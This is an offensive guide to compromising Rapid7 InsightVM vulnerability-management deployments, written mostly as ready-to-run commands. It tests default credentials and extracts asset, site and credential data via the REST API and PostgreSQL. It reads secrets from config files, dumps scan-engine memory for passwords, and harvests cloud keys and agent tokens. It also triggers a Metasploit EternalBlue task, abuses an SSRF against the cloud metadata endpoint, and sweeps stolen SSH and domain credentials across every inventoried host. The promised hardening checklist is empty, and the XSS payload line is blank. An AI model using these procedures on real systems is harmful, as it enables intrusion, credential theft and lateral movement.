Rapid7 InsightVM Security Testing: API Key Exposure, Vulnerability Database Access, and Scan Engine Credential Theft

InsightVM Architecture and Attack Surface

InsightVM is a distributed architecture with three main components. Understanding each component's role is essential for mapping the attack surface before engaging a target deployment.

Security Console

The Security Console is the central brain of InsightVM. It hosts the web UI and REST API on port 3780/TCP (HTTPS), stores all configuration and vulnerability data in a PostgreSQL database, manages site definitions and scan credential vaults, and orchestrates scan engines. The console typically runs on a dedicated Linux (RHEL/CentOS/Ubuntu) or Windows server. Because all scan data and credentials flow through it, compromising the console is the highest-value target in an InsightVM deployment.

Distributed Scan Engines

Scan engines are the components that actually probe target hosts. They connect to the Security Console over port 40814/TCP using a shared authentication secret. In large deployments, multiple scan engines are deployed across network segments — a DMZ engine, an internal engine, a cloud-hosted engine — each with configured credentials for its respective segment. Each engine is a potential credential source: if you compromise a scan engine host or its configuration files, you obtain the console authentication key and the per-segment scan credentials.

PostgreSQL Database

InsightVM stores everything in a local PostgreSQL instance — asset inventory, vulnerability findings, scan schedules, site definitions, and most critically, scan credentials (encrypted at the application layer but accessible through the running console). The database is the nexpose database, owned by the nexpose PostgreSQL user, typically listening only on localhost but accessible to anyone with OS-level access to the console host.

Default Credentials and Security Console Access

InsightVM ships with a default administrator account. Unlike some scanners that force a password change on first run, InsightVM installations deployed through automation scripts, OVA templates, or cloud marketplace images frequently retain default credentials — or set a predictable organizational password during provisioning.

Known Default Credentials

• admin / admin — the original Nexpose default. Still present in older deployments and those that were never hardened after install.
• nxadmin / nxpassword — used in some automated deployment configurations and installer documentation examples.
• admin / rapid7 — seen in cloud marketplace AMI and OVA deployments where the vendor pre-configures a starter credential.
• admin / InsightVM1! — common in enterprise provisioning scripts that satisfy complexity requirements with a minimal-effort password.

Discovery and Login Testing

# Discover InsightVM Security Consoles on the network
# Port 3780 is the default HTTPS port for the web UI
nmap -p 3780 --open -sV 10.0.0.0/16 -oG insightvm_hosts.txt
grep "3780/open" insightvm_hosts.txt | awk '{print $2}' > console_ips.txt

# Confirm InsightVM (self-signed cert, title check)
curl -sk https://TARGET_IP:3780/ | grep -i "nexpose\|insightvm\|rapid7" | head -5

# Test default credentials — InsightVM uses HTTP Basic Auth for the REST API
# A 200 response confirms valid credentials
for USER_PASS in "admin:admin" "nxadmin:nxpassword" "admin:rapid7" "admin:InsightVM1!"; do
  USER=$(echo $USER_PASS | cut -d: -f1)
  PASS=$(echo $USER_PASS | cut -d: -f2-)
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    -u "$USER:$PASS" \
    "https://TARGET_IP:3780/api/3/users")
  echo "[$STATUS] $USER_PASS"
  [ "$STATUS" = "200" ] && echo "[+] VALID CREDENTIALS: $USER / $PASS" && break
done

# Also check the web UI login directly (POST form)
curl -sk -X POST "https://TARGET_IP:3780/data/user/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "nexposeccusername=admin&nexposeccpassword=admin" -v 2>&1 | grep -E "HTTP|Location|Set-Cookie"

REST API v3 Enumeration and Data Extraction

InsightVM exposes a comprehensive REST API v3 at https://{host}:3780/api/3/. The API uses HTTP Basic Authentication — username and password sent base64-encoded in the Authorization header. There is no separate API token concept by default; valid admin credentials grant full API access. API keys can be generated for service accounts, and these are the primary target in configuration file searches.

User Enumeration

CONSOLE="TARGET_IP"
USER="admin"
PASS="admin"

# List all users on the Security Console
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/users" | python3 -m json.tool

# Get a specific user's details (role, authentication, last login)
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/users/1" | python3 -m json.tool

Asset Inventory Extraction

The assets endpoint returns the complete inventory of every host InsightVM has discovered and scanned — OS, IP, hostname, open ports, installed software, risk score, and the number and severity of vulnerabilities found. This is the organization's full internal asset map.

# Retrieve asset list (paginated — use size and page params for large inventories)
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/assets?size=500&page=0" | python3 -m json.tool

# Extract just hostnames, IPs, OS, and risk scores
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/assets?size=500" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for asset in data.get('resources', []):
    print(f\"{asset.get('ip','?')} | {asset.get('hostName','?')} | {asset.get('os',{}).get('description','?')} | Risk: {asset.get('riskScore',0):.0f}\")
"

# Get detailed asset info including all vulnerabilities for a specific asset
ASSET_ID="123"
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/assets/$ASSET_ID/vulnerabilities" | python3 -m json.tool

# Get all services/ports open on an asset
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/assets/$ASSET_ID/services" | python3 -m json.tool

Site Configuration Extraction

Sites in InsightVM are scan scopes — they define which IP ranges to scan, which scan engine to use, which credential vault to pull from, and what schedule to follow. The site configuration reveals network topology and points directly to the credential sets used for each segment.

# List all sites (scan scopes)
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/sites" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for site in data.get('resources', []):
    print(f\"ID: {site['id']} | {site['name']} | Assets: {site.get('assets',0)} | Last Scan: {site.get('lastScanTime','never')}\")
"

# Get a specific site's full configuration — includes scan engine assignment and credential references
SITE_ID="1"
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/sites/$SITE_ID" | python3 -m json.tool

# Get the scan targets (IP ranges) configured for a site
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/sites/$SITE_ID/included_targets" | python3 -m json.tool

# Get scan engines assigned to a site
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/sites/$SITE_ID/scan_engine" | python3 -m json.tool

Vulnerability Report Generation

# Generate a vulnerability report for the entire environment
# POST to /api/3/reports to create a report definition, then download it
curl -sk -X POST -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/reports" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Full Vulnerability Export",
    "format": "csv-export",
    "scope": {
      "scan": -1
    }
  }' | python3 -m json.tool

# Get report status and download link
REPORT_ID="42"
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/reports/$REPORT_ID/history" | python3 -m json.tool

# Download the generated report
INSTANCE_ID="latest_instance_id"
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/reports/$REPORT_ID/history/$INSTANCE_ID/output" \
  -o full_vulnerability_report.csv

Scan Credential Vault Extraction

InsightVM stores scan credentials — SSH keys, Windows domain accounts, SNMP strings, database passwords — in a central credential vault. These are referenced by site configurations and fetched by scan engines at scan time. The REST API exposes the credential list, and while passwords are masked in the API response, the PostgreSQL database contains them in a recoverable form.

Enumerating Shared Credentials via REST API

# List all shared credentials in the vault
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/shared_credentials" | python3 -m json.tool

# The response shows credential name, type (ssh, windows, snmp, etc.)
# and which sites use each credential — passwords are masked as "**PASSWORD**"
# but the metadata reveals scope and credential type

# Get a specific shared credential's configuration
CRED_ID="5"
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/shared_credentials/$CRED_ID" | python3 -m json.tool

# List site-specific credentials (credentials scoped to individual sites)
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/sites/$SITE_ID/credentials" | python3 -m json.tool

PostgreSQL Database: nexpose Schema Deep Dive

When an attacker achieves OS-level access to the Security Console host (via a separate vulnerability — OS command injection in a co-located service, misconfigured sudo, hypervisor access, or physical access), the PostgreSQL database is the most valuable artifact. InsightVM uses the nexpose database with a rich schema that contains asset data, vulnerability findings, and — critically — scan credentials in an encrypted but extractable form.

Connecting to the nexpose Database

# On the console host, PostgreSQL credentials are in nxconsole.xml
# The nexpose PostgreSQL user typically authenticates via peer auth (Linux)
# or via a password stored in the config file

# Connect as the nexpose OS user (if you have that access)
sudo -u nexpose psql -d nexpose

# Or with explicit credentials (extracted from nxconsole.xml)
psql -h localhost -U nexpose -d nexpose

# List all tables in the nexpose schema
psql -h localhost -U nexpose -d nexpose -c "\dt nexpose.*" 2>/dev/null

# Key tables for credential extraction:
# nexpose.dim_asset                    — all scanned assets (IP, hostname, OS)
# nexpose.dim_site                     — site definitions
# nexpose.dim_site_credential          — site-level scan credentials (encrypted)
# nexpose.dim_asset_scan_credential    — per-asset credential assignment
# nexpose.dim_credential_account       — credential account records

Asset and Credential Table Queries

# Full asset inventory from the nexpose schema
psql -h localhost -U nexpose -d nexpose -c "
SELECT a.ip_address, a.host_name, os.description as operating_system,
       a.risk_score
FROM nexpose.dim_asset a
LEFT JOIN nexpose.dim_operating_system os ON a.operating_system_id = os.operating_system_id
ORDER BY a.risk_score DESC
LIMIT 100;
"

# Site credential records — reveals credential type and associated username
psql -h localhost -U nexpose -d nexpose -c "
SELECT sc.site_id, s.name as site_name,
       sc.service as credential_type,
       sc.user_name,
       sc.description
FROM nexpose.dim_site_credential sc
JOIN nexpose.dim_site s ON sc.site_id = s.site_id
ORDER BY sc.site_id;
"

# Credential account table — contains the actual credential data
# Note: passwords are encrypted using a console-managed key, but the
# encryption key material is accessible on the console host
psql -h localhost -U nexpose -d nexpose -c "
SELECT id, service_name, user_name, authentication_type,
       private_key_fingerprint
FROM nexpose.dim_credential_account
ORDER BY service_name;
"

# Get high-risk assets with known exploitable vulnerabilities
psql -h localhost -U nexpose -d nexpose -c "
SELECT da.ip_address, da.host_name, dv.title, dv.cvss_score
FROM nexpose.fact_asset_vulnerability_finding favf
JOIN nexpose.dim_asset da ON favf.asset_id = da.asset_id
JOIN nexpose.dim_vulnerability dv ON favf.vulnerability_id = dv.vulnerability_id
WHERE dv.cvss_score >= 9.0
ORDER BY dv.cvss_score DESC
LIMIT 50;
"

Scan Engine Authentication Key Exploitation

Distributed scan engines authenticate to the Security Console using a shared secret — a pre-shared key configured during the engine registration process. This key is stored in the scan engine's configuration on disk. If an attacker compromises a scan engine host (which may be in a more accessible network segment than the console), they obtain the console authentication key and can register a rogue engine or interact with the console API.

Scan Engine Config File Locations

# Linux scan engine installation
# Default install path: /opt/rapid7/nexpose/

# The scan engine config — contains console address and authentication key
cat /opt/rapid7/nexpose/nse/conf/nse.xml 2>/dev/null
# Look for: 

# The shared secret is typically SHA-256 hashed — but the hash is used directly
# as the authentication credential, making it the effective password

# Windows scan engine
type "C:\Program Files\Rapid7\NeXpose\nse\conf\nse.xml" 2>nul
# Or PowerShell:
Get-Content "C:\Program Files\Rapid7\NeXpose\nse\conf\nse.xml"

# List running InsightVM processes to identify console/engine
ps aux | grep -E "nexpose|rapid7|nse|nsc"

# Check network connections to identify console port
ss -tnp | grep 40814
netstat -tnp | grep 40814

Extracting Credentials from Scan Engine Memory

# On Linux, scan engine credentials may be visible in process memory
# (requires root access on the scan engine host)

# Find the NSE process PID
NSE_PID=$(ps aux | grep "nse\|nexpose" | grep -v grep | awk '{print $2}' | head -1)

# Dump process memory strings (authorized forensic analysis only)
strings /proc/$NSE_PID/mem 2>/dev/null | grep -E "(password|secret|credential|key)" | head -30

# Extract heap memory for credential analysis
cat /proc/$NSE_PID/maps | grep heap | awk '{print $1}' | while read range; do
  START=$(echo $range | cut -d- -f1)
  END=$(echo $range | cut -d- -f2)
  dd if=/proc/$NSE_PID/mem bs=1 skip=$((16#$START)) count=$(($((16#$END)) - $((16#$START)))) 2>/dev/null \
    | strings | grep -E "admin|password|nexpose|rapid7" | head -10
done

nxconsole.xml and Config File Credential Extraction

InsightVM's primary configuration file, nxconsole.xml, is the most data-rich artifact on the console host. It contains the database connection credentials, the admin account password hash, API key material, and mail server authentication details. On a freshly compromised console host, this file should be the first target.

Config File Locations

# Linux (most common deployment)
cat /opt/rapid7/nexpose/nsc/conf/nxconsole.xml

# Alternative Linux paths (version-dependent)
cat /opt/nexpose/nsc/conf/nxconsole.xml
cat /usr/local/nexpose/nsc/conf/nxconsole.xml

# Windows
type "C:\Program Files\Rapid7\NeXpose\nsc\conf\nxconsole.xml"
# PowerShell:
[xml](Get-Content "C:\Program Files\Rapid7\NeXpose\nsc\conf\nxconsole.xml")

# Find the file if the install path is non-standard
find / -name "nxconsole.xml" 2>/dev/null
find / -path "*/rapid7/nexpose*" -name "*.xml" 2>/dev/null

Parsing nxconsole.xml for Credential Data

# Extract database credentials from nxconsole.xml
python3 << 'EOF'
import xml.etree.ElementTree as ET

tree = ET.parse('/opt/rapid7/nexpose/nsc/conf/nxconsole.xml')
root = tree.getroot()

# Database connection parameters
for db in root.iter('DatabaseSettings'):
    print(f"DB Host: {db.get('host', 'localhost')}")
    print(f"DB Port: {db.get('port', '5432')}")
    print(f"DB Name: {db.get('database', 'nexpose')}")
    print(f"DB User: {db.get('user', 'nexpose')}")
    print(f"DB Pass: {db.get('password', '[not found]')}")

# Admin account hash
for admin in root.iter('AdministratorAccount'):
    print(f"Admin User: {admin.get('username', '')}")
    print(f"Admin Hash: {admin.get('password', '')}")

# Mail server credentials (often reused organizational passwords)
for mail in root.iter('SMTPSettings'):
    print(f"SMTP Host: {mail.get('host', '')}")
    print(f"SMTP User: {mail.get('username', '')}")
    print(f"SMTP Pass: {mail.get('password', '')}")

# API/integration keys
for api in root.iter('APISettings'):
    print(f"API Key: {api.get('key', '')}")
EOF

# Quick grep approach for rapid extraction
grep -E "(password|username|user=|pass=|key=|secret)" \
  /opt/rapid7/nexpose/nsc/conf/nxconsole.xml | head -30

# Also check the license file and other conf files
ls /opt/rapid7/nexpose/nsc/conf/
cat /opt/rapid7/nexpose/nsc/conf/userdb.xml 2>/dev/null

Cloud Integration API Key Exposure (AWS/Azure/GCP)

InsightVM's cloud integrations extend scanning into AWS, Azure, and GCP environments. These integrations require API keys or service account credentials with read access to cloud inventory — and those credentials are stored in the InsightVM configuration or database. An attacker with console access can extract cloud API keys that provide read access to the organization's entire cloud asset inventory.

Extracting Cloud Integration Credentials

# List configured cloud connections via REST API
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/connections" | python3 -m json.tool

# AWS integration credentials
# InsightVM uses IAM access keys for AWS cloud inventory
# Check the connections config for AWS key IDs — the secret is masked in API
# but stored in the database

# Via PostgreSQL (requires host access)
psql -h localhost -U nexpose -d nexpose -c "
SELECT connection_name, connection_type, configuration
FROM nexpose.dim_cloud_connection
ORDER BY connection_type;
"

# Check for AWS credentials in InsightVM config directory
grep -rn "aws_access\|aws_secret\|AKID\|client_id\|client_secret\|subscription_id" \
  /opt/rapid7/nexpose/nsc/conf/ 2>/dev/null

# Azure service principal credentials
# InsightVM uses an Azure AD app registration with Reader role
# client_id + client_secret + tenant_id stored in cloud connection config
grep -rn "tenant_id\|client_secret\|azure" \
  /opt/rapid7/nexpose/nsc/conf/ 2>/dev/null

# GCP service account key
# InsightVM supports GCP service account JSON key files
find /opt/rapid7/nexpose -name "*.json" 2>/dev/null | xargs grep -l "type.*service_account" 2>/dev/null

Metasploit Pro Integration Exploitation

Rapid7 makes both InsightVM and Metasploit Pro, and the two products have a native integration. InsightVM can push vulnerability findings directly to Metasploit Pro, which can then automatically attempt exploitation against discovered vulnerabilities. This integration uses a shared API key. If you have InsightVM admin access, you may be able to retrieve the Metasploit Pro API key — and vice versa, a compromised Metasploit Pro instance exposes the InsightVM API key.

Integration Configuration and Key Extraction

# Check InsightVM for configured Metasploit integration
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/administration/settings" | python3 -m json.tool

# Look for Metasploit API key in the InsightVM config files
grep -rn "metasploit\|msfpro\|msf_api\|msf-api" \
  /opt/rapid7/nexpose/nsc/conf/ 2>/dev/null

# If Metasploit Pro is installed on the same host or accessible:
# Metasploit Pro API default port is 3790/TCP
curl -sk "https://MSF_HOST:3790/api/1.0/ping" \
  -H "Authorization: Bearer MSF_API_KEY" | python3 -m json.tool

# With a valid Metasploit Pro API key, launch an automated exploit task
# against a high-value target from the InsightVM findings
curl -sk -X POST "https://MSF_HOST:3790/api/1.0/workspaces/default/tasks" \
  -H "Authorization: Bearer MSF_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "exploit",
    "task": {
      "module": "exploit/windows/smb/ms17_010_eternalblue",
      "targets": ["10.0.1.50"],
      "exploit": true
    }
  }' | python3 -m json.tool

Insight Agent Management API Abuse

Insight Agents are lightweight endpoint agents deployed for continuous vulnerability assessment. Unlike traditional scan-based discovery, agents run locally on endpoints and report data to Rapid7's cloud platform. Agent management is performed through the InsightVM console and the Rapid7 Insight platform API. Agent tokens extracted from endpoint configs or the console allow enrollment of rogue agents and manipulation of the agent fleet.

Agent Token and Management API

# Insight Agent config location on managed endpoints
# Linux
cat /opt/rapid7/ir_agent/components/insight_agent/common/config.json 2>/dev/null
# Look for: token, region, organization_id

# Windows
type "C:\Program Files\Rapid7\Insight Agent\components\insight_agent\common\config.json" 2>nul

# The agent token authenticates the endpoint to the Rapid7 cloud
# If extracted, it can be used to enroll a rogue agent

# Via InsightVM REST API, list all managed agents
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/agents" | python3 -m json.tool

# Get agent details including last check-in and version
AGENT_ID="agent-uuid-here"
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/agents/$AGENT_ID" | python3 -m json.tool

# Retrieve the agent enrollment token from the console
# (used to enroll new agents — valid for the entire organization)
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/administration/settings" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
# Looks for insight platform token / agent enrollment key
print(json.dumps(data.get('insight', {}), indent=2))
"

Relevant CVEs: CVE-2019-5638 and CVE-2021-31862

Several CVEs have directly affected InsightVM and Nexpose. When version fingerprinting identifies a console, checking for unpatched CVEs is a high-priority step.

CVE-2019-5638 — SSRF in InsightVM Security Console

A server-side request forgery (SSRF) vulnerability in Rapid7 InsightVM versions 6.5.0 through 6.5.68 allows an authenticated attacker to make the Security Console issue arbitrary HTTP requests to internal services. The vulnerability exists in the console's HTTP proxy functionality used for cloud integrations. CVSS v3 score: 6.5 (Medium).

# Identify InsightVM version via REST API
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/administration/info" | python3 -m json.tool
# Look for: version field — CVE-2019-5638 affects 6.5.0 through 6.5.68

# CVE-2019-5638 SSRF — send an internal HTTP request via the console
# The SSRF can be used to probe internal services not directly reachable
curl -sk -u "$USER:$PASS" -X POST \
  "https://$CONSOLE:3780/api/3/connections/test" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "aws",
    "configuration": {
      "endpoint": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    }
  }' | python3 -m json.tool
# On vulnerable versions, the response includes the content fetched from the internal URL

CVE-2021-31862 — Stored XSS in InsightVM

A stored cross-site scripting vulnerability in Rapid7 InsightVM versions prior to 6.6.112 allows an attacker who can control asset data (hostname, software version strings, etc.) seen by the scanner to inject persistent JavaScript into the Security Console web UI. When a console administrator views the affected asset's detail page, the payload executes in their browser session — enabling session hijacking, credential capture, or admin action execution. CVSS v3 score: 6.1 (Medium).

# CVE-2021-31862 — verify InsightVM version is below 6.6.112
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/administration/info" \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print('Version:', d.get('version','unknown'))"

# The XSS is injected through asset data that InsightVM discovers —
# for example, by running a web server on an internal host with an
# HTTP Server header containing the XSS payload:
# Server: Apache/2.4.51 
# When InsightVM scans this host and an admin views the asset detail page,
# the payload fires in the admin's browser session.

Post-Exploitation Impact

A compromised InsightVM Security Console has a uniquely high post-exploitation value because it was designed to have authenticated read access to everything. The attacker inherits the trust relationship that the security team spent months establishing.

Credential Sweep: Using Scan Credentials for Lateral Movement

# After extracting SSH credentials from the PostgreSQL credential tables,
# test coverage against all assets in the scan scope
# (authorized red team use only)

SCAN_USER="nexpose-scan"    # common InsightVM service account name
SCAN_KEY="/tmp/extracted_scan_key.pem"

# Generate host list from InsightVM asset inventory
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/assets?size=1000" \
  | python3 -c "
import sys, json
for a in json.load(sys.stdin).get('resources', []):
    if 'Linux' in str(a.get('os', {}).get('description', '')):
        print(a['ip'])
" > linux_hosts.txt

# Test extracted SSH key across all Linux assets
while read HOST; do
  ssh -i "$SCAN_KEY" \
      -o StrictHostKeyChecking=no \
      -o ConnectTimeout=3 \
      -o BatchMode=yes \
      "$SCAN_USER@$HOST" "echo VALID" 2>/dev/null \
    && echo "[+] SSH access confirmed: $HOST"
done < linux_hosts.txt

# Test Windows domain credentials from scan policy
# against all Windows assets in the inventory
curl -sk -u "$USER:$PASS" \
  "https://$CONSOLE:3780/api/3/assets?size=1000" \
  | python3 -c "
import sys, json
for a in json.load(sys.stdin).get('resources', []):
    if 'Windows' in str(a.get('os', {}).get('description', '')):
        print(a['ip'])
" > windows_hosts.txt

crackmapexec smb windows_hosts.txt \
  -u "DOMAIN\\nexpose-scan" \
  -p "extracted_windows_password" \
  --continue-on-success 2>/dev/null | grep "[+]"

Hardening Checklist